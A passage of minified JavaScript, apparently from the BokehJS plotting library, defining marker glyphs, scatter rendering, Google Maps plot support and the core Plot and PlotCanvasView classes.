u(t,e){t.moveTo(0,e),t.lineTo(e/1.5,0),t.lineTo(0,-e),t.lineTo(-e/1.5,0),t.closePath()}function c(t,e){var i=e*h,n=i/3;t.moveTo(-e,n),t.lineTo(e,n),t.lineTo(0,n-i),t.closePath()}function n(t,e,i,n,r){var o=.65*i;l(t,i),a(t,o),n.doit&&(n.set_vectorize(t,e),t.stroke())}function r(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function _(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function p(t,e,i,n,r){l(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function d(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function f(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function v(t,e,i,n,r){var o,s,a,l;l=h*(a=(s=i)/2),(o=t).moveTo(s,0),o.lineTo(a,-l),o.lineTo(-a,-l),o.lineTo(-s,0),o.lineTo(-a,l),o.lineTo(a,l),o.closePath(),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function m(t,e,i,n,r){t.rotate(Math.PI),c(t,i),t.rotate(-Math.PI),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function g(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function y(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function b(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function x(t,e,i,n,r){c(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function w(t,e,i,n,r){var o,s;s=i,(o=t).moveTo(-s,0),o.lineTo(s,0),n.doit&&(n.set_vectorize(t,e),t.stroke())}function k(t,e,i,n,r){a(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function S(i,n){var r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype._render_one=n},e}(s.MarkerView);r.initClass();var t=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.default_view=r,this.prototype.type=i},e}(s.Marker);return t.initClass(),t}i.Asterisk=S(\\\"Asterisk\\\",n),i.CircleCross=S(\\\"CircleCross\\\",r),i.CircleX=S(\\\"CircleX\\\",_),i.Cross=S(\\\"Cross\\\",p),i.Diamond=S(\\\"Diamond\\\",d),i.DiamondCross=S(\\\"DiamondCross\\\",f),i.Hex=S(\\\"Hex\\\",v),i.InvertedTriangle=S(\\\"InvertedTriangle\\\",m),i.Square=S(\\\"Square\\\",g),i.SquareCross=S(\\\"SquareCross\\\",y),i.SquareX=S(\\\"SquareX\\\",b),i.Triangle=S(\\\"Triangle\\\",x),i.Dash=S(\\\"Dash\\\",w),i.X=S(\\\"X\\\",k),i.marker_funcs={asterisk:n,circle:function(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())},circle_cross:r,circle_x:_,cross:p,diamond:d,diamond_cross:f,hex:v,inverted_triangle:m,square:g,square_cross:y,square_x:b,triangle:x,dash:w,x:k}},function(t,e,i){var n=t(391);n.__exportStar(t(170),i);var r=t(173);i.Scatter=r.Scatter},function(t,e,i){var n=t(391),r=t(146),w=t(9),o=t(15),h=t(21),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){var u=o[h]/2;t.beginPath(),t.translate(n[h],r[h]),s[h]&&t.rotate(s[h]),this._render_one(t,h,u,this.visuals.line,this.visuals.fill),s[h]&&t.rotate(-s[h]),t.translate(-n[h],-r[h])}}},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.bbox.h_range,e=t.start-this.max_size,i=t.end+this.max_size,n=this.renderer.xscale.r_invert(e,i),r=n[0],o=n[1],s=this.renderer.plot_view.frame.bbox.v_range,a=s.start-this.max_size,l=s.end+this.max_size,h=this.renderer.yscale.r_invert(a,l),u=h[0],c=h[1],_=w.validate_bbox_coords([r,o],[u,c]);return this.index.indices(_)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=e-this.max_size,r=e+this.max_size,o=this.renderer.xscale.r_invert(n,r),s=o[0],a=o[1],l=i-this.max_size,h=i+this.max_size,u=this.renderer.yscale.r_invert(l,h),c=u[0],_=u[1],p=w.validate_bbox_coords([s,a],[c,_]),d=this.index.indices(p),f=[],v=0,m=d;v<m.length;v++){var g=m[v],y=this._size[g]/2,b=Math.abs(this.sx[g]-e)+Math.abs(this.sy[g]-i);Math.abs(this.sx[g]-e)<=y&&Math.abs(this.sy[g]-i)<=y&&f.push([g,b])}return w.create_hit_test_result_from_hits(f)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.bounds(),u=h.minX,c=h.minY,_=h.maxX,p=h.maxY,d=w.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){o=c,s=p;var f=this.max_size/2,v=a-f,m=a+f;e=this.renderer.xscale.r_invert(v,m),n=e[0],r=e[1]}else{n=u,r=_;var f=this.max_size/2,g=l-f,y=l+f;i=this.renderer.yscale.r_invert(g,y),o=i[0],s=i[1]}var b=w.validate_bbox_coords([n,r],[o,s]),x=this.index.indices(b);return d.indices=x,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=w.validate_bbox_coords([s,a],[h,u]),_=w.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];w.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=w.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0,this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c})},e}(r.XYGlyphView);i.MarkerView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],angle:[o.AngleSpec,0]})},t}(r.XYGlyph);(i.Marker=a).initClass()},function(t,e,i){var n=t(391),r=t(172),_=t(170),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=i._marker,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+o[u]+s[u])){var c=o[u]/2;t.beginPath(),t.translate(n[u],r[u]),s[u]&&t.rotate(s[u]),_.marker_funcs[a[u]](t,u,c,this.visuals.line,this.visuals.fill),s[u]&&t.rotate(-s[u]),t.translate(-n[u],-r[u])}}},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0;var _=new Array(a);_[i]=this._marker[i],this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c,_marker:_})},e}(r.MarkerView);i.ScatterView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scatter\\\",this.prototype.default_view=s,this.define({marker:[o.MarkerSpec,{value:\\\"circle\\\"}]})},t}(r.Marker);(i.Scatter=a).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(175),s=t(177),a=t(15),l=t(59),h=t(184),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MapOptions\\\",this.define({lat:[a.Number],lng:[a.Number],zoom:[a.Number,12]})},t}(l.Model);(i.MapOptions=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapOptions\\\",this.define({map_type:[a.String,\\\"roadmap\\\"],scale_control:[a.Bool,!1],styles:[a.String],tilt:[a.Int,45]})},t}(u);(i.GMapOptions=c).initClass();var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(s.PlotView);i.GMapPlotView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlot\\\",this.prototype.default_view=_,this.define({map_options:[a.Instance],api_key:[a.String]}),this.override({x_range:function(){return new h.Range1d},y_range:function(){return new h.Range1d}})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.api_key||r.logger.error(\\\"api_key is required. See https://developers.google.com/maps/documentation/javascript/get-api-key for more information on how to obtain your own.\\\")},t.prototype._init_plot_canvas=function(){return new o.GMapPlotCanvas({plot:this})},t}(s.Plot);(i.GMapPlot=p).initClass()},function(t,e,i){var n=t(391),r=t(19),c=t(33),o=t(178),s=new r.Signal0({},\\\"gmaps_ready\\\"),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this._tiles_loaded=!1,this.zoom_count=0;var i=this.model.plot.map_options,n=i.zoom,r=i.lat,o=i.lng;this.initial_zoom=n,this.initial_lat=r,this.initial_lng=o,this.canvas_view.map_el.style.position=\\\"absolute\\\",\\\"undefined\\\"!=typeof google&&null!=google.maps||(\\\"undefined\\\"==typeof _bokeh_gmaps_callback&&function(t){_bokeh_gmaps_callback=function(){return s.emit()};var e=document.createElement(\\\"script\\\");e.type=\\\"text/javascript\\\",e.src=\\\"https://maps.googleapis.com/maps/api/js?key=\\\"+t+\\\"&callback=_bokeh_gmaps_callback\\\",document.body.appendChild(e)}(this.model.plot.api_key),s.connect(function(){return e.request_render()})),this.unpause()},t.prototype.update_range=function(t){if(null==t)this.map.setCenter({lat:this.initial_lat,lng:this.initial_lng}),this.map.setOptions({zoom:this.initial_zoom}),a.prototype.update_range.call(this,null);else if(null!=t.sdx||null!=t.sdy)this.map.panBy(t.sdx||0,t.sdy||0),a.prototype.update_range.call(this,t);else if(null!=t.factor){var e=void 0;if(10!==this.zoom_count)return void(this.zoom_count+=1);this.zoom_count=0,this.pause(),a.prototype.update_range.call(this,t),e=t.factor<0?-1:1;var i=this.map.getZoom(),n=i+e;if(2<=n){this.map.setZoom(n);var r=this._get_projected_bounds(),o=r[0],s=r[1];s-o<0&&this.map.setZoom(i)}this.unpause()}this._set_bokeh_ranges()},t.prototype._build_map=function(){var t=this,e=google.maps;this.map_types={satellite:e.MapTypeId.SATELLITE,terrain:e.MapTypeId.TERRAIN,roadmap:e.MapTypeId.ROADMAP,hybrid:e.MapTypeId.HYBRID};var i=this.model.plot.map_options,n={center:new e.LatLng(i.lat,i.lng),zoom:i.zoom,disableDefaultUI:!0,mapTypeId:this.map_types[i.map_type],scaleControl:i.scale_control,tilt:i.tilt};null!=i.styles&&(n.styles=JSON.parse(i.styles)),this.map=new e.Map(this.canvas_view.map_el,n),e.event.addListener(this.map,\\\"idle\\\",function(){return t._set_bokeh_ranges()}),e.event.addListener(this.map,\\\"bounds_changed\\\",function(){return t._set_bokeh_ranges()}),e.event.addListenerOnce(this.map,\\\"tilesloaded\\\",function(){return t._render_finished()}),this.connect(this.model.plot.properties.map_options.change,function(){return t._update_options()}),this.connect(this.model.plot.map_options.properties.styles.change,function(){return t._update_styles()}),this.connect(this.model.plot.map_options.properties.lat.change,function(){return t._update_center(\\\"lat\\\")}),this.connect(this.model.plot.map_options.properties.lng.change,function(){return t._update_center(\\\"lng\\\")}),this.connect(this.model.plot.map_options.properties.zoom.change,function(){return t._update_zoom()}),this.connect(this.model.plot.map_options.properties.map_type.change,function(){return t._update_map_type()}),this.connect(this.model.plot.map_options.properties.scale_control.change,function(){return t._update_scale_control()}),this.connect(this.model.plot.map_options.properties.tilt.change,function(){return t._update_tilt()})},t.prototype._render_finished=function(){this._tiles_loaded=!0,this.notify_finished()},t.prototype.has_finished=function(){return a.prototype.has_finished.call(this)&&!0===this._tiles_loaded},t.prototype._get_latlon_bounds=function(){var t=this.map.getBounds(),e=t.getNorthEast(),i=t.getSouthWest(),n=i.lng(),r=e.lng(),o=i.lat(),s=e.lat();return[n,r,o,s]},t.prototype._get_projected_bounds=function(){var t=this._get_latlon_bounds(),e=t[0],i=t[1],n=t[2],r=t[3],o=c.wgs84_mercator.forward([e,n]),s=o[0],a=o[1],l=c.wgs84_mercator.forward([i,r]),h=l[0],u=l[1];return[s,h,a,u]},t.prototype._set_bokeh_ranges=function(){var t=this._get_projected_bounds(),e=t[0],i=t[1],n=t[2],r=t[3];this.frame.x_range.setv({start:e,end:i}),this.frame.y_range.setv({start:n,end:r})},t.prototype._update_center=function(t){var e=this.map.getCenter().toJSON();e[t]=this.model.plot.map_options[t],this.map.setCenter(e),this._set_bokeh_ranges()},t.prototype._update_map_type=function(){this.map.setOptions({mapTypeId:this.map_types[this.model.plot.map_options.map_type]})},t.prototype._update_scale_control=function(){this.map.setOptions({scaleControl:this.model.plot.map_options.scale_control})},t.prototype._update_tilt=function(){this.map.setOptions({tilt:this.model.plot.map_options.tilt})},t.prototype._update_options=function(){this._update_styles(),this._update_center(\\\"lat\\\"),this._update_center(\\\"lng\\\"),this._update_zoom(),this._update_map_type()},t.prototype._update_styles=function(){this.map.setOptions({styles:JSON.parse(this.model.plot.map_options.styles)})},t.prototype._update_zoom=function(){this.map.setOptions({zoom:this.model.plot.map_options.zoom}),this._set_bokeh_ranges()},t.prototype._map_hook=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3];this.canvas_view.map_el.style.top=n+\\\"px\\\",this.canvas_view.map_el.style.left=i+\\\"px\\\",this.canvas_view.map_el.style.width=r+\\\"px\\\",this.canvas_view.map_el.style.height=o+\\\"px\\\",null==this.map&&\\\"undefined\\\"!=typeof google&&null!=google.maps&&this._build_map()},t.prototype._paint_empty=function(t,e){var i=this.canvas._width.value,n=this.canvas._height.value,r=e[0],o=e[1],s=e[2],a=e[3];t.clearRect(0,0,i,n),t.beginPath(),t.moveTo(0,0),t.lineTo(0,n),t.lineTo(i,n),t.lineTo(i,0),t.lineTo(0,0),t.moveTo(r,o),t.lineTo(r+s,o),t.lineTo(r+s,o+a),t.lineTo(r,o+a),t.lineTo(r,o),t.closePath(),t.fillStyle=this.model.plot.border_fill_color,t.fill()},t}(o.PlotCanvasView);i.GMapPlotCanvasView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlotCanvas\\\",this.prototype.default_view=a},t.prototype.initialize=function(){this.use_map=!0,e.prototype.initialize.call(this)},t}(o.PlotCanvas);(i.GMapPlotCanvas=l).initClass()},function(t,e,i){var n=t(174);i.MapOptions=n.MapOptions;var r=t(174);i.GMapOptions=r.GMapOptions;var o=t(174);i.GMapPlot=o.GMapPlot;var s=t(175);i.GMapPlotCanvas=s.GMapPlotCanvas;var a=t(177);i.Plot=a.Plot;var l=t(178);i.PlotCanvas=l.PlotCanvas},function(t,e,i){var o=t(391),n=t(13),r=t(14),s=t(15),f=t(19),a=t(21),v=t(32),m=t(44),l=t(157),h=t(75),u=t(192),c=t(268),_=t(76),p=t(178),g=t(200),y=t(185),b=t(3),x=t(180),w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.connect_signals=function(){t.prototype.connect_signals.call(this),this.connect(this.model.properties.title.change,function(){return r.logger.warn(\\\"Title object cannot be replaced. Try changing properties on title to update it after initialization.\\\")})},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-plot-layout\\\")},e.prototype.get_height=function(){return this.model._width.value/this.model.get_aspect_ratio()},e.prototype.get_width=function(){return this.model._height.value*this.model.get_aspect_ratio()},e.prototype.save=function(t){this.plot_canvas_view.save(t)},Object.defineProperty(e.prototype,\\\"plot_canvas_view\\\",{get:function(){return this.child_views[this.model.plot_canvas.id]},enumerable:!0,configurable:!0}),e}(l.LayoutDOMView);i.PlotView=w;var d=function(d){function t(t){return d.call(this,t)||this}return o.__extends(t,d),t.initClass=function(){this.prototype.type=\\\"Plot\\\",this.prototype.default_view=w,this.mixins([\\\"line:outline_\\\",\\\"fill:background_\\\",\\\"fill:border_\\\"]),this.define({toolbar:[s.Instance,function(){return new c.Toolbar}],toolbar_location:[s.Location,\\\"right\\\"],toolbar_sticky:[s.Boolean,!0],plot_width:[s.Number,600],plot_height:[s.Number,600],title:[s.Any,function(){return new h.Title({text:\\\"\\\"})}],title_location:[s.Location,\\\"above\\\"],h_symmetry:[s.Bool,!0],v_symmetry:[s.Bool,!1],above:[s.Array,[]],below:[s.Array,[]],left:[s.Array,[]],right:[s.Array,[]],renderers:[s.Array,[]],x_range:[s.Instance,function(){return new x.DataRange1d}],extra_x_ranges:[s.Any,{}],y_range:[s.Instance,function(){return new x.DataRange1d}],extra_y_ranges:[s.Any,{}],x_scale:[s.Instance,function(){return new u.LinearScale}],y_scale:[s.Instance,function(){return new u.LinearScale}],lod_factor:[s.Number,10],lod_interval:[s.Number,300],lod_threshold:[s.Number,2e3],lod_timeout:[s.Number,500],hidpi:[s.Bool,!0],output_backend:[s.OutputBackend,\\\"canvas\\\"],min_border:[s.Number,5],min_border_top:[s.Number,null],min_border_left:[s.Number,null],min_border_bottom:[s.Number,null],min_border_right:[s.Number,null],inner_width:[s.Number],inner_height:[s.Number],layout_width:[s.Number],layout_height:[s.Number],match_aspect:[s.Bool,!1],aspect_scale:[s.Number,1]}),this.override({outline_line_color:\\\"#e5e5e5\\\",border_fill_color:\\\"#ffffff\\\",background_fill_color:\\\"#ffffff\\\"}),b.register_with_event(b.UIEvent,this)},t.prototype.initialize=function(){d.prototype.initialize.call(this),this.reset=new f.Signal0(this,\\\"reset\\\");for(var t=0,e=v.values(this.extra_x_ranges).concat(this.x_range);t<e.length;t++){var i=e[t],n=i.plots;m.isArray(n)&&(n=n.concat(this),i.setv({plots:n},{silent:!0}))}for(var r=0,o=v.values(this.extra_y_ranges).concat(this.y_range);r<o.length;r++){var s=o[r],n=s.plots;m.isArray(n)&&(n=n.concat(this),s.setv({plots:n},{silent:!0}))}null!=this.min_border&&(null==this.min_border_top&&(this.min_border_top=this.min_border),null==this.min_border_bottom&&(this.min_border_bottom=this.min_border),null==this.min_border_left&&(this.min_border_left=this.min_border),null==this.min_border_right&&(this.min_border_right=this.min_border));for(var a=0,l=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"];a<l.length;a++)for(var h=l[a],u=this.getv(h),c=0,_=u;c<_.length;c++){var p=_[c];p.add_panel(h)}this._init_title_panel(),this._init_toolbar_panel(),this._plot_canvas=this._init_plot_canvas(),this.plot_canvas.toolbar=this.toolbar,null==this.width&&(this.width=this.plot_width),null==this.height&&(this.height=this.plot_height)},t.prototype._init_plot_canvas=function(){return new p.PlotCanvas({plot:this})},t.prototype._init_title_panel=function(){if(null!=this.title){var t=m.isString(this.title)?new h.Title({text:this.title}):this.title;this.add_layout(t,this.title_location)}},t.prototype._init_toolbar_panel=function(){var e=this,t=a.find(this.renderers,function(t){return t instanceof _.ToolbarPanel&&a.includes(t.tags,e.id)});switch(null!=t&&this.remove_layout(t),this.toolbar_location){case\\\"left\\\":case\\\"right\\\":case\\\"above\\\":case\\\"below\\\":if(t=new _.ToolbarPanel({toolbar:this.toolbar,tags:[this.id]}),this.toolbar.toolbar_location=this.toolbar_location,this.toolbar_sticky){var i=this.getv(this.toolbar_location),n=a.find(i,function(t){return t instanceof h.Title});if(null!=n)return t.set_panel(n.panel),void this.add_renderers(t)}this.add_layout(t,this.toolbar_location)}},t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.properties.toolbar_location.change,function(){return t._init_toolbar_panel()})},Object.defineProperty(t.prototype,\\\"plot_canvas\\\",{get:function(){return this._plot_canvas},enumerable:!0,configurable:!0}),t.prototype._doc_attached=function(){this.plot_canvas.attach_document(this.document),d.prototype._doc_attached.call(this)},t.prototype.add_renderers=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=this.renderers;i=i.concat(t),this.renderers=i},t.prototype.add_layout=function(t,e){if(void 0===e&&(e=\\\"center\\\"),null!=t.props.plot&&(t.plot=this),\\\"center\\\"!=e){var i=this.getv(e);i.push(t),t.add_panel(e)}this.add_renderers(t)},t.prototype.remove_layout=function(e){var t=function(t){a.removeBy(t,function(t){return t==e})};t(this.left),t(this.right),t(this.above),t(this.below),t(this.renderers)},t.prototype.add_glyph=function(t,e,i){void 0===e&&(e=new g.ColumnDataSource),void 0===i&&(i={});var n=o.__assign({},i,{data_source:e,glyph:t}),r=new y.GlyphRenderer(n);return this.add_renderers(r),r},t.prototype.add_tools=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var i=0,n=t;i<n.length;i++){var r=n[i];null!=r.overlay&&this.add_renderers(r.overlay)}this.toolbar.tools=this.toolbar.tools.concat(t)},t.prototype.get_layoutable_children=function(){return[this.plot_canvas]},t.prototype.get_constraints=function(){var t=d.prototype.get_constraints.call(this);return t.push(n.EQ(this._width,[-1,this.plot_canvas._width])),t.push(n.EQ(this._height,[-1,this.plot_canvas._height])),t},t.prototype.get_constrained_variables=function(){var t=o.__assign({},d.prototype.get_constrained_variables.call(this),{on_edge_align_top:this.plot_canvas._top,on_edge_align_bottom:this.plot_canvas._height_minus_bottom,on_edge_align_left:this.plot_canvas._left,on_edge_align_right:this.plot_canvas._width_minus_right,box_cell_align_top:this.plot_canvas._top,box_cell_align_bottom:this.plot_canvas._height_minus_bottom,box_cell_align_left:this.plot_canvas._left,box_cell_align_right:this.plot_canvas._width_minus_right,box_equal_size_top:this.plot_canvas._top,box_equal_size_bottom:this.plot_canvas._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this.plot_canvas._left,t.box_equal_size_right=this.plot_canvas._width_minus_right),t},Object.defineProperty(t.prototype,\\\"all_renderers\\\",{get:function(){for(var t=this.renderers,e=0,i=this.toolbar.tools;e<i.length;e++){var n=i[e];t=t.concat(n.synthetic_renderers)}return t},enumerable:!0,configurable:!0}),t}(l.LayoutDOM);(i.Plot=d).initClass()},function(t,e,i){var l=t(391),n=t(91),r=t(92),C=t(180),T=t(185),o=t(157),s=t(3),h=t(19),c=t(4),u=t(20),_=t(49),a=t(6),p=t(11),d=t(10),f=t(13),A=t(14),v=t(7),m=t(15),g=t(42),y=t(44),b=t(21),E=t(32),x=t(12),w=null,k=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return l.__extends(t,a),Object.defineProperty(t.prototype,\\\"frame\\\",{get:function(){return this.model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas\\\",{get:function(){return this.model.canvas},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_overlays\\\",{get:function(){return this.canvas_view.overlays_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_events\\\",{get:function(){return this.canvas_view.events_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_paused\\\",{get:function(){return null!=this._is_paused&&0!==this._is_paused},enumerable:!0,configurable:!0}),t.prototype.view_options=function(){return{plot_view:this,parent:this}},t.prototype.pause=function(){null==this._is_paused?this._is_paused=1:this._is_paused+=1},t.prototype.unpause=function(t){if(void 0===t&&(t=!1),null==this._is_paused)throw new Error(\\\"wasn't paused\\\");this._is_paused-=1,0!=this._is_paused||t||this.request_render()},t.prototype.request_render=function(){this.request_paint()},t.prototype.request_paint=function(){this.is_paused||this.throttled_paint()},t.prototype.reset=function(){this.clear_state(),this.reset_range(),this.reset_selection(),this.model.plot.trigger_event(new s.Reset)},t.prototype.remove=function(){this.ui_event_bus.destroy(),c.remove_views(this.renderer_views),c.remove_views(this.tool_views),this.canvas_view.remove(),a.prototype.remove.call(this)},t.prototype.css_classes=function(){return a.prototype.css_classes.call(this).concat(\\\"bk-plot-wrapper\\\")},t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this.force_paint=new h.Signal0(this,\\\"force_paint\\\"),this.state_changed=new h.Signal0(this,\\\"state_changed\\\"),this.lod_started=!1,this.visuals=new _.Visuals(this.model.plot),this._initial_state_info={selection:{},dimensions:{width:this.model.canvas._width.value,height:this.model.canvas._height.value}},this.visibility_callbacks=[],this.state={history:[],index:-1},this.canvas_view=new this.canvas.default_view({model:this.canvas,parent:this}),this.el.appendChild(this.canvas_view.el),this.canvas_view.render(),\\\"webgl\\\"==this.model.plot.output_backend&&this.init_webgl(),this.throttled_paint=g.throttle(function(){return e.force_paint.emit()},15),this.ui_event_bus=new u.UIEvents(this,this.model.toolbar,this.canvas_view.events_el,this.model.plot),this.levels={};for(var i=0,n=v.RenderLevel;i<n.length;i++){var r=n[i];this.levels[r]={}}this.renderer_views={},this.tool_views={},this.build_levels(),this.build_tools(),this.update_dataranges(),this.unpause(!0),A.logger.debug(\\\"PlotView initialized\\\")},t.prototype.set_cursor=function(t){void 0===t&&(t=\\\"default\\\"),this.canvas_view.el.style.cursor=t},t.prototype.set_toolbar_visibility=function(e){void 0===e&&(e=!0),this.visibility_callbacks.forEach(function(t){return t(e)})},t.prototype.init_webgl=function(){if(null==w){var t=document.createElement(\\\"canvas\\\"),e={premultipliedAlpha:!0},i=t.getContext(\\\"webgl\\\",e)||t.getContext(\\\"experimental-webgl\\\",e);null!=i&&(w={canvas:t,ctx:i})}null!=w?this.gl=w:A.logger.warn(\\\"WebGL is not supported, falling back to 2D canvas.\\\")},t.prototype.prepare_webgl=function(t,e){if(null!=this.gl){var i=this.canvas_view.get_canvas_element();this.gl.canvas.width=i.width,this.gl.canvas.height=i.height;var n=this.gl.ctx;n.viewport(0,0,this.gl.canvas.width,this.gl.canvas.height),n.clearColor(0,0,0,0),n.clear(n.COLOR_BUFFER_BIT||n.DEPTH_BUFFER_BIT),n.enable(n.SCISSOR_TEST);var r=e[0],o=e[1],s=e[2],a=e[3],l=this.model.canvas,h=l.xview,u=l.yview,c=h.compute(r),_=u.compute(o+a);n.scissor(t*c,t*_,t*s,t*a),n.enable(n.BLEND),n.blendFuncSeparate(n.SRC_ALPHA,n.ONE_MINUS_SRC_ALPHA,n.ONE_MINUS_DST_ALPHA,n.ONE)}},t.prototype.blit_webgl=function(t){var e=this.canvas_view.ctx;null!=this.gl&&(A.logger.debug(\\\"drawing with WebGL\\\"),e.restore(),e.drawImage(this.gl.canvas,0,0),e.save(),e.scale(t,t),e.translate(.5,.5))},t.prototype.update_dataranges=function(){for(var t=this.model.frame,e={},i={},n=!1,r=0,o=E.values(t.x_ranges).concat(E.values(t.y_ranges));r<o.length;r++){var s=o[r];s instanceof C.DataRange1d&&\\\"log\\\"==s.scale_hint&&(n=!0)}for(var a in this.renderer_views){var l=this.renderer_views[a];if(l instanceof T.GlyphRendererView){var h=l.glyph.bounds();if(null!=h&&(e[a]=h),n){var u=l.glyph.log_bounds();null!=u&&(i[a]=u)}}}var c,_=!1,p=!1;!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&(c=1/this.model.plot.aspect_scale*(this.frame._width.value/this.frame._height.value));for(var d=0,f=E.values(t.x_ranges);d<f.length;d++){var v=f[d];if(v instanceof C.DataRange1d){var m=\\\"log\\\"==v.scale_hint?i:e;v.update(m,0,this.model.id,c),v.follow&&(_=!0)}null!=v.bounds&&(p=!0)}for(var g=0,y=E.values(t.y_ranges);g<y.length;g++){var b=y[g];if(b instanceof C.DataRange1d){var m=\\\"log\\\"==b.scale_hint?i:e;b.update(m,1,this.model.id,c),b.follow&&(_=!0)}null!=b.bounds&&(p=!0)}if(_&&p){A.logger.warn(\\\"Follow enabled so bounds are unset.\\\");for(var x=0,w=E.values(t.x_ranges);x<w.length;x++){var v=w[x];v.bounds=null}for(var k=0,S=E.values(t.y_ranges);k<S.length;k++){var b=S[k];b.bounds=null}}this.range_update_timestamp=Date.now()},t.prototype.map_to_screen=function(t,e,i,n){return void 0===i&&(i=\\\"default\\\"),void 